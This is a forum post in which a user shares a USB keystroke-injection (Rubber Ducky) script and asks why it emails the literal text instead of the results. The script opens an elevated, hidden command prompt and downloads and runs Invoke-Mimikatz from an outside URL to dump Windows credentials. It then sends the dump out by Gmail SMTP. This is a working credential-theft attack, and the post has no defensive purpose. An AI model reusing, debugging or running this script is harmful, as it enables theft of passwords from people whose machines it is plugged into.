Jump to content

Eno12345

Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by Eno12345

  1. I am trying to add a twist on the 15 second password stealer i robot hack in which it emails the credentials instead of uploading them to a server. This is my code. I changed the email addresses and passwords for security.

    DELAY 3000
    REM Open an admin command prompt 
    GUI r
    DELAY 500
    STRING powershell Start-Process cmd -Verb runAs
    ENTER
    DELAY 2000
    ALT y
    DELAY 1000
    REM Obfuscate the command prompt
    STRING mode con:cols=18 lines=1
    ENTER
    STRING color FE
    ENTER
    REM Download and execute Invoke Mimikatz then upload the results
    STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1');$output = Invoke-Mimikatz -DumpCreds; $output > log.txt;"
    ENTER
    DELAY 1500
    STRING powershell
    ENTER
    STRING $SMTPServer = 'smtp.gmail.com'
    ENTER
    STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
    ENTER
    STRING $SMTPInfo.EnableSsl = $true
    ENTER
    STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('MyEmail1@gmail.com', 'MyPassword')
    ENTER
    STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
    ENTER
    STRING $ReportEmail.From = 'MyEmail1@gmail.com'
    ENTER
    STRING $ReportEmail.To.Add('MyEmail2@gmail.com')
    ENTER
    STRING $ReportEmail.Subject = 'PassDump'
    ENTER
    STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
    ENTER
    STRING $SMTPInfo.Send($ReportEmail)
    ENTER
    DELAY 2000
    STRING exit
    ENTER
    DELAY 500
    REM Clear the Run history and exit
    ENTER
    STRING exit
    ENTER
    

    and in my email in-box all i got was a email that said the words "

    Quote

    Invoke-Mimikatz
    -DumpCreds

    How do I get it so it actually sends the output of Invoke-Mmikats instead of literally sending the words Invoke-Mimikatz. Thanks in advance.

×
×
  • Create New...